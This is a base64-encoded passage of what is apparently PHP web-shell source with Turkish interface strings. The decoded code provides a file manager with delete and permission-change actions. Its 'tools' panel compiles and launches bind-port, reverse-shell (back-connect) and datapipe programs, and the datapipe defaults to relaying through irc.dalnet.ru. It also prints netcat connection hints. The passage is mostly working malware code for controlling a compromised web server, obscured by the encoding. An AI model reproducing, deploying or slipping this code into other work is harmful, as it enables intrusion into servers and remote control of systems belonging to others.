JnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgIH0NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICAkdHlwZSA9ICJESVIiOw0KICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgfQ0KICAgICAkcm93W10gPSAkdHlwZTsNCiAgICB9DQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKQ0KICAgIHsNCiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsNCiAgICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZD0iLiR1ZC4iJlwiPiIuJGRpc3BwYXRoLiI8L2E+IjsNCiAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsNCiAgICB9DQogICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9DQogICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICBpZiAoJG8gPT0gIi4iKSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBvbmNsaWNrPVwibHNfcmV2ZXJzZV9hbGwoKTtcIj4iOyAkaS0tO30NCiAgICBlbHNlIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30NCiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiQmlsZ2lcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkJpbGdpXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJEZWdpc3RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1kb3dubG9hZCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0PVwiSW5kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgJGkrKzsNCiAgIH0NCiAgfQ0KICAvL0NvbXBpbGluZyB0YWJsZQ0KICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOw0KICBlY2hvICI8Y2VudGVyPjxiPkxpc3RlbGVuZW4gKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBkb3N5YSB2ZSAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGtsYXNvcik6PC9iPjwvY2VudGVyPjxicj48VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTEwMCUgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMzMyBib3JkZXI9MD48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVCBuYW1lPVwibHNfZm9ybVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iLiRkc3BhY3QuIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iOw0KICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KQ0KICB7DQogICBlY2hvICI8dHI+XHJcbiI7DQogICBmb3JlYWNoKCRyb3cgYXMgJHYpIHtlY2hvICI8dGQ+Ii4kdi4iPC90ZD5cclxuIjt9DQogICBlY2hvICI8L3RyPlxyXG4iOw0KICB9DQogIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+DQogIDxzY3JpcHQ+DQogIGZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykNCiAgew0KICAgdmFyIGlkID0gMDsNCiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7DQogICB3aGlsZSAoaWQgPD0gbnVtKQ0KICAgew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gc3RhdHVzOw0KICAgIGlkKys7DQogICB9DQogIH0NCiAgZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKQ0KICB7DQogICB2YXIgaWQgPSAwOw0KICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsNCiAgIHdoaWxlIChpZCA8PSBudW0pDQogICB7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQ7DQogICAgaWQrKzsNCiAgIH0NCiAgfQ0KICA8L3NjcmlwdD4NCiAgPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJIZXBzaW5pIFNlY1wiPiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2YWx1ZT1cIkhlcHNpbmkgU2VjKE1FKVwiPiANCiAgPGI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+IjsNCiAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKQ0KICB7DQogICBlY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1hY3RhcmNidWZmIHZhbHVlPVwiUGFjaywgYXJzaXZpIGtvcnVyXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJZYXBpc3RpclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJCb3MgdGFtcG9uXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgfQ0KICBlY2hvICI8c2VsZWN0IG5hbWU9YWN0PjxvcHRpb24gdmFsdWU9XCIiLiRhY3QuIlwiPihTZWNpbik6PC9vcHRpb24+IjsNCiAgZWNobyAiPG9wdGlvbiB2YWx1ZT1kZWxldGUiLigkZHNwYWN0ID09ICJkZWxldGUiPyIgc2VsZWN0ZWQiOiIiKS4iPlNpTDwvb3B0aW9uPiI7DQogIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+TW9kIERlZ2lzdGlyPC9vcHRpb24+IjsNCiAgaWYgKCR1c2Vmc2J1ZmYpDQogIHsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y3V0Ii4oJGRzcGFjdCA9PSAiY3V0Ij8iIHNlbGVjdGVkIjoiIikuIj5LRVM8L29wdGlvbj4iOw0KICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jb3B5Ii4oJGRzcGFjdCA9PSAiY29weSI/IiBzZWxlY3RlZCI6IiIpLiI+S09QWUFMQTwvb3B0aW9uPiI7DQogICBlY2hvICI8b3B0aW9uIHZhbHVlPXVuc2VsZWN0Ii4oJGRzcGFjdCA9PSAidW5zZWxlY3QiPyIgc2VsZWN0ZWQiOiIiKS4iPlNFQ01FKFVuc2VsZWN0KTwvb3B0aW9uPiI7DQogIH0NCiAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiT0shXCI+PC9wPiI7DQogIGVjaG8gIjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJ0b29scyIpDQp7DQogJGJuZHBvcnRzcmNzID0gYXJyYXkoDQogICJhc2hzaF9iaW5kcG9ydC5wbCI9PmFycmF5KCJQRVJMIEt1bGxhbiIsInBlcmwgJXBhdGggJXBvcnQiKSwNCiAgImFzaHNoX2JpbmRwb3J0LmMiPT5hcnJheSgiQyBLdWxsYW4iLCIlcGF0aCAlcG9ydCAlcGFzcyIpDQogKTsNCiAkYmNzcmNzID0gYXJyYXkoDQogICJhc2hzaF9iYWNrY29ubi5wbCI9PmFycmF5KCJQRVJMIEt1bGxhbiIsInBlcmwgJXBhdGggJWhvc3QgJXBvcnQiKSwNCiAgImFzaHNoX2JhY2tjb25uLmMiPT5hcnJheSgiQyBLdWxsYW4iLCIlcGF0aCAlaG9zdCAlcG9ydCIpDQogKTsNCiAkZHBzcmNzID0gYXJyYXkoDQogICJhc2hzaF9kYXRhcGlwZS5wbCI9PmFycmF5KCJQRVJMIEt1bGxhbiIsInBlcmwgJXBhdGggJWxvY2FscG9ydCAlcmVtb3RlaG9zdCAlcmVtb3RlcG9ydCIpLA0KICAiYXNoc2hfZGF0YXBpcGUuYyI9PmFycmF5KCJDIEt1bGxhbiIsIiVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZXBvcnQgJXJlbW90ZWhvc3QiKQ0KICk7DQogaWYgKCFpc19hcnJheSgkYmluZCkpIHskYmluZCA9IGFycmF5KCk7fQ0KIGlmICghaXNfYXJyYXkoJGJjKSkgeyRiYyA9IGFycmF5KCk7fQ0KIGlmICghaXNfYXJyYXkoJGRhdGFwaXBlKSkgeyRkYXRhcGlwZSA9IGFycmF5KCk7fQ0KIA0KIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9DQogaWYgKGVtcHR5KCRiaW5kWyJwYXNzIl0pKSB7JGJpbmRbInBhc3MiXSA9ICRiaW5kcG9ydF9wYXNzO30NCiAgDQogaWYgKGVtcHR5KCRiY1siaG9zdCJdKSkgeyRiY1siaG9zdCJdID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpO30NCiBpZiAoIWlzX251bWVyaWMoJGJjWyJwb3J0Il0pKSB7JGJjWyJwb3J0Il0gPSAkYmNfcG9ydDt9DQogDQogaWYgKGVtcHR5KCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKSkgeyRkYXRhcGlwZVsicmVtb3RlYWRkciJdID0gImlyYy5kYWxuZXQucnU6NjY2NyI7fQ0KIGlmICghaXNfbnVtZXJpYygkZGF0YXBpcGVbImxvY2FscG9ydCJdKSkgeyRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBpcGVfbG9jYWxwb3J0O30NCiBpZiAoIWVtcHR5KCRiaW5kc3VibWl0KSkNCiB7DQogIGVjaG8gIjxiPlBvcnQgQmFnbGFudGkgc29udWN1OjwvYj48YnI+IjsNCiAgJHYgPSAkYm5kcG9ydHNyY3NbJGJpbmRbInNyYyJdXTsNCiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9DQogIGVsc2VpZiAoZnNvY2tvcGVuKGdldGVudigiU0VSVkVSX0FERFIiKSwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDAuMSkpIHtlY2hvICJQb3J0IEt1bGxhbmlsaXlvcixkaWdlciBwb3J0IFNlY2luaXohPGJyPiI7fQ0KICBlbHNlDQogIHsNCiAgICR3ID0gZXhwbG9kZSgiLiIsJGJpbmRbInNyYyJdKTsNCiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkpLiIuIi4kZXh0Ow0KICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsNCiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgaWYgKCEkZnApIHtlY2hvICJLYXluYWsgS29kdW5hIFlhemlsYW1hZGktLT4gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICBlbHNlaWYgKCEkZGF0YSA9IGFzaGdldHNvdXJjZSgkYmluZFsic3JjIl0pKSB7ZWNobyAiS2F5bmFrIEtvZHUgSW5kaXJpbGVtZWRpISI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7DQogICAgZmNsb3NlKCRmcCk7DQogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyAgQHVubGluaygkc3JjcGF0aCk7fQ0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBvcnQiLCRiaW5kWyJwb3J0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXNzIiwkYmluZFsicGFzcyJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsNCiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgIHNsZWVwKDUpOw0KICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7DQogICAgaWYgKCEkc29jaykge2VjaG8gIkJhZ2xhbmlsYW1hZGkgbG9jYWxob3N0IGEgOiIuJGJpbmRbInBvcnQiXS4iISBGcml3YWxsIGluaSBrb250cm9sIEV0bWVuaSBEdXN1bnV5b3J1bSI7fQ0KICAgIGVsc2Uge2VjaG8gIkJhZ2xhbml5b3IuLi4uLi4uVGFtYW0hIEJhZ2xhbmRpLi4tLT4gPGI+Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIjoiLiRiaW5kWyJwb3J0Il0uIjwvYj4hTmV0Q2F0PydpIEt1bGxhbmlvLi5cIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5CYWdsYW1hbGFyaSBnb3IhITwvdT48L2E+PC9jZW50ZXI+Ijt9DQogICB9DQogICBlY2hvICI8YnI+IjsNCiAgfQ0KIH0NCiBpZiAoIWVtcHR5KCRiY3N1Ym1pdCkpDQogew0KICBlY2hvICI8Yj5Fc2tpIEJhZ2xhbnRpIFNvbnVjbGFyaTo8L2I+PGJyPiI7DQogICR2ID0gJGJjc3Jjc1skYmNbInNyYyJdXTsNCiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9DQogIGVsc2UNCiAgew0KICAgJHcgPSBleHBsb2RlKCIuIiwkYmNbInNyYyJdKTsNCiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkpLiIuIi4kZXh0Ow0KICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsNCiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgaWYgKCEkZnApIHtlY2hvICJLYXluYWsgS29kdW5hIFlhemlsYW1hZGkgLS0tPiBcIiIuJHNyY3BhdGguIlwiITxicj4iO30NCiAgIGVsc2VpZiAoISRkYXRhID0gYXNoZ2V0c291cmNlKCRiY1sic3JjIl0pKSB7ZWNobyAiS2F5bmFrIEtvZHUgaW5kaXJpbGVtZWRpISEhISI7fQ0KICAgZWxzZQ0KICAgew0KICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7DQogICAgZmNsb3NlKCRmcCk7DQogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgiLCRiaW5wYXRoLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlaG9zdCIsJGJjWyJob3N0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmNbInBvcnQiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsNCiAgICBlY2hvICJTdSBhbiBraSBTY3JpcHQgdGVrcmFyIGRlbmUgIi5odG1sc3BlY2lhbGNoYXJzKCRiY1siaG9zdCJdKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSkuIi4uLjxicj4iOw0KICAgfQ0KICB9DQogfQ0KIGlmICghZW1wdHkoJGRwc3VibWl0KSkNCiB7DQogIGVjaG8gIjxiPkRhdGFwaXBlIFNvbnVjbGFyaTo8L2I+PGJyPiI7DQogICR2ID0gJGRwc3Jjc1skZGF0YXBpcGVbInNyYyJdXTsNCiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIkJpbGlubWV5ZW4gRG9zeWEhPGJyPiI7fQ0KICBlbHNlaWYgKGZzb2Nrb3BlbihnZXRlbnYoIlNFUlZFUl9BRERSIiksJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgS3VsbGFuaWxpeW9yIEJhc2thIHBvcnQgU2VjaW4hPGJyPiI7fQ0KICBlbHNlDQogIHsNCiAgICRzcmNwYXRoID0gJHRtcGRpci4kZGF0YXBpcGVbInNyYyJdOw0KICAgJHcgPSBleHBsb2RlKCIuIiwkZGF0YXBpcGVbInNyYyJdKTsNCiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkpLiIuIi4kZXh0Ow0KICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsNCiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQ0KICAgZWxzZWlmICghJGRhdGEgPSBhc2hnZXRzb3VyY2UoJGRhdGFwaXBlWyJzcmMiXSkpIHtlY2hvICJLYXluYWsgS29kdSBpbmRpcmlsZW1lZGkhIjt9DQogICBlbHNlDQogICB7DQogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsNCiAgICBmY2xvc2UoJGZwKTsNCiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpO30NCiAgICBsaXN0KCRkYXRhcGlwZVsicmVtb3RlaG9zdCJdLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdKSA9IGV4cGxvZGUoIjoiLCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVsb2NhbHBvcnQiLCRkYXRhcGlwZVsibG9jYWxwb3J0Il0sJHZbMV0pOw0KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVyZW1vdGVob3N0IiwkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkdlsxXSk7DQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZXBvcnQiLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdLCR2WzFdKTsNCiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsNCiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgIHNsZWVwKDUpOw0KICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCRkYXRhcGlwZVsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOw0KICAgIGlmICghJHNvY2spIHtlY2hvICJCYWdsYW5pbGFtYWRpIGxvY2FsaG9zdCdhOiIuJGRhdGFwaXBlWyJsb2NhbHBvcnQiXS4iISBGcml3YWxsIGluaSBLb250cm9sIGV0bWVuIGdlcmVrdGlnaW5pIGR1c3VudXlvcnVtLiI7fQ0KICAgIGVsc2Uge2VjaG8gIkJhZ2xhbml5b3IgZGF0YXBpcGUuLi4gVEFNQU0gQmFnbGFuZGk8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGRhdGFwaXBlWyJwb3J0Il0uIiwgdmUgYnV0dW4gaGVwc2luZSBiYWdsYW5kaW4gIi4kZGF0YXBpcGVbInJlbW90ZWFkZHIiXS4iPC9iPiEgU2VuIE5ldENhdD8gaSBrdWxsYW5peW9zdW4sIHJ1biBcIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5kYXRhcGlwZXNpIGdvcjwvdT48L2E+PC9jZW50ZXI+Ijt9DQogICB9DQogICBlY2hvICI8YnI+IjsNCiAgfQ0KIH0NCiA/PjxiPkJpbmRpbmcgcG9ydDo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+UG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiaW5kWyJwb3J0Il0pOyA/PiI+Jm5ic3A7UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmluZFtwYXNzXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmluZFsicGFzcyJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmluZFtzcmNdIj48P3BocA0KIGZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YmluZHN1Ym1pdCB2YWx1ZT0iQmluZCI+PC9mb3JtPg0KPGI+QmFjayBCYWdsYW50aTo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJjW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmNbc3JjXSI+PD9waHANCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9DQo/Pjwvc2VsZWN0P